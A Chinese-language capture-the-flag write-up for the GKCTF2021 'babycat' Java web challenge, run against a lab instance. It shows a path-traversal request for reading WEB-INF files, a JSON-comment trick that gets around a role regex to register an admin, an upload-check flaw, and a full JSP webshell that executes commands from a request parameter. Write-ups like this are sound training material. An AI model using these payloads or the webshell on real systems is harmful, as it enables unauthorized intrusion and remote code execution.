GKCTF2021 babycat

  1. 参考资料

image-20230331192344361

打开靶机是一个登录界面,先注册一个号,弹窗提示Not Allowed,抓包查看注册界面源码:

<html>
<head>
    <title>Register</title>
</head>
<body>
<script>alert('Not Allowed')</script>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
    // var obj={};
    // obj["username"]='test';
    // obj["password"]='test';
    // obj["role"]='guest';
    function doRegister(obj){
        if(obj.username==null || obj.password==null){
            alert("用户名或密码不能为空");
        }else{
            var d = new Object();
            d.username=obj.username;
            d.password=obj.password;
            d.role="guest";

            $.ajax({
                url:"/register",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(d),
                dataType: "json",
                success:function(data){
                    alert(data)
                }
            });
        }
    }
</script>
</body>
</html>

通过源码可以看到,虽然他弹出了Not Allowed,但后续的代码仍在执行,POST发包给data传入一个json格式注册:

POST
data={"username":"admin","password":"admin"}

image-20230331193038872

注册成功,拿账号密码登录进入主界面:

image-20230331193223682

可以看到有文件上传和文件下载两个功能,上传功能只有admin权限的账户可以使用,先看看文件下载处有没有漏洞。用Wappalyzer看了一眼是JAVA环境,抓包读取web.xml

image-20230331194240058

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <servlet>
    <servlet-name>register</servlet-name>
    <servlet-class>com.web.servlet.registerServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.web.servlet.loginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>home</servlet-name>
    <servlet-class>com.web.servlet.homeServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.web.servlet.uploadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>download</servlet-name>
    <servlet-class>com.web.servlet.downloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>logout</servlet-name>
    <servlet-class>com.web.servlet.logoutServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>logout</servlet-name>
    <url-pattern>/logout</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>download</servlet-name>
    <url-pattern>/home/download</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>register</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <display-name>java</display-name>
  <servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>home</servlet-name>
    <url-pattern>/home</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>upload</servlet-name>
    <url-pattern>/home/upload</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>loginFilter</filter-name>
    <filter-class>com.web.filter.LoginFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>loginFilter</filter-name>
    <url-pattern>/home/*</url-pattern>
  </filter-mapping>
  <display-name>java</display-name>

  <welcome-file-list>
    <welcome-file>/WEB-INF/index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

看到注册需要的class文件路径,读取一下:

http://6324b375-e066-4101-9815-6d331a45783c.node4.buuoj.cn:81/home/download?file=../../WEB-INF/classes/com/web/servlet/registerServlet.class

jd-jui工具打开:

import com.google.gson.Gson;
import com.mysql.cj.util.StringUtils;
import com.web.dao.Person;
import com.web.dao.baseDao;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class registerServlet extends HttpServlet {
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setContentType("text/html;charset=UTF-8");
    req.setAttribute("error", "<script>alert('Not Allowed')</script>");
    req.getRequestDispatcher("WEB-INF/register.jsp").forward((ServletRequest)req, (ServletResponse)resp);
  }
  
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setCharacterEncoding("UTF-8");
    Integer res = Integer.valueOf(0);
    String role = "";
    Gson gson = new Gson();
    Person person = new Person();
    Connection connection = null;
    String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
    Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
    Matcher matcher = pattern.matcher(var);
    while (matcher.find())
      role = matcher.group(); 
    if (!StringUtils.isNullOrEmpty(role)) {
      var = var.replace(role, "\"role\":\"guest\"");
      person = (Person)gson.fromJson(var, Person.class);
    } else {
      person = (Person)gson.fromJson(var, Person.class);
      person.setRole("guest");
    } 
    System.out.println(person);
    if (person.getUsername() == null || person.getPassword() == null)
      resp.sendError(500, "); 
    person.setPic("/static/cat.gif");
    try {
      connection = baseDao.getConnection();
    } catch (Exception e) {
      e.printStackTrace();
    } 
    if (connection != null) {
      String sql_query = "select * from ctf where username=?";
      Object[] params1 = { person.getUsername() };
      try {
        ResultSet rs = baseDao.execute(connection, sql_query, params1);
        if (rs.next()) {
          System.out.println(rs.next());
          resp.sendError(500, "user already exists!");
        } else {
          String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
          Object[] params2 = { person.getUsername(), person.getPassword(), person.getRole(), person.getPic() };
          res = Integer.valueOf(baseDao.Update(connection, sql, params2));
        } 
      } catch (SQLException e) {
        e.printStackTrace();
      } 
      baseDao.closeResource(connection, null, null);
    } 
    if (res.intValue() == 1)
      resp.getWriter().write("register success!"); 
  }
}

看到对role处有正则表达式限制用户属性是guest,这里可以用多行注释绕过正则匹配,注册admin用户:

POST /register
data={"username":"admin","password":"admin","role":"admin"/*,"role":"guest"*/}

再查看一下上传文件的class文件:

http://6324b375-e066-4101-9815-6d331a45783c.node4.buuoj.cn:81/home/download?file=../../WEB-INF/classes/com/web/servlet/uploadServlet.class

看到其中一段代码:

if (checkExt(ext) || checkContent(item.getInputStream())) {
    req.setAttribute("error", "upload failed");
    req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
item.write(new File(uploadPath + File.separator + name + ext));
req.setAttribute("error", "upload success!");

这里虽然显示上传失败,但没用return跳出,实际上还是上传到目录中去了,所以我们直接传马到目录

木马内容:

<%
    if("b".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a=-1;
        byte[] b=new byte[2048];
        out.print("<pro>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

由于upload目录不可读,我们目录穿越上传到static目录下:

image-20230401193946828

访问./static/shell.jsp进行RCE获取flag:

image-20230401194215252

参考资料

【WP】GKCTF2021 By EDI战队


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com